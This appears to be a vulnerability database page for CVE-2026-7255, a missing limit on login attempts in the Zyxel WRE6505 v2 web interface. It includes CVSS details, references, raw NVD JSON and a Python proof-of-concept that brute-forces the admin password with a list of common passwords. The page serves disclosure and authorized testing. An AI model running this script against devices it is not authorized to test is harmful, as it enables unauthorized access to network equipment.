CVE-2026-7255

Description

** UNSUPPORTED WHEN ASSIGNED ** An improper restriction of excessive authentication attempts vulnerability in the web management interface of Zyxel WRE6505 v2 firmware version V1.00(ABDV.3)C0 could allow an adjacent attacker on the LAN to brute-force the password and bypass authentication.

CVSS Details

CVSS Score

6.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

No configuration data available.

Zyxel WRE6505 v2 firmware V1.00(ABDV.3)C0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Target configuration
target_ip = "192.168.1.1"
target_url = f"http://{target_ip}/login.cgi"
username = "admin"

# Common password list for demonstration
password_list = ["admin", "123456", "password", "zyxel", "root", "user"]

headers = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36",
    "Content-Type": "application/x-www-form-urlencoded"
}

print(f"[*] Starting brute force attack against {target_url}")

for password in password_list:
    # Payload construction (adjust parameter names based on actual form fields)
    payload = {
        "user": username,
        "pwd": password
    }

    try:
        response = requests.post(target_url, data=payload, headers=headers, timeout=5)
        
        # Check for successful login indicators (e.g., status code 200 and specific keywords)
        if response.status_code == 200 and "dashboard" in response.text.lower():
            print(f"[+] SUCCESS! Valid credentials found: {username} / {password}")
            print(f"[+] Response length: {len(response.text)}")
            break
        else:
            print(f"[-] Failed attempt with password: {password}")
            
    except requests.RequestException as e:
        print(f"[!] Connection error: {e}")
        break

print("[*] Attack completed.")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-7255
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-7255
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-7255/
[4] VulDB https://vuldb.com/cve/CVE-2026-7255
[5] https://www.zyxel.com/global/en/support/end-of-life

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-7255", "sourceIdentifier": "[email protected]", "published": "2026-05-12T04:16:29.143", "lastModified": "2026-05-12T04:16:29.143", "vulnStatus": "Received", "cveTags": [{"sourceIdentifier": "[email protected]", "tags": ["unsupported-when-assigned"]}], "descriptions": [{"lang": "en", "value": "** UNSUPPORTED WHEN ASSIGNED ** An improper restriction of excessive authentication attempts vulnerability in the web management interface of Zyxel WRE6505 v2 firmware version V1.00(ABDV.3)C0 could allow an adjacent attacker on the LAN to brute-force the password and bypass authentication."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-307"}]}], "references": [{"url": "https://www.zyxel.com/global/en/support/end-of-life", "source": "[email protected]"}]}}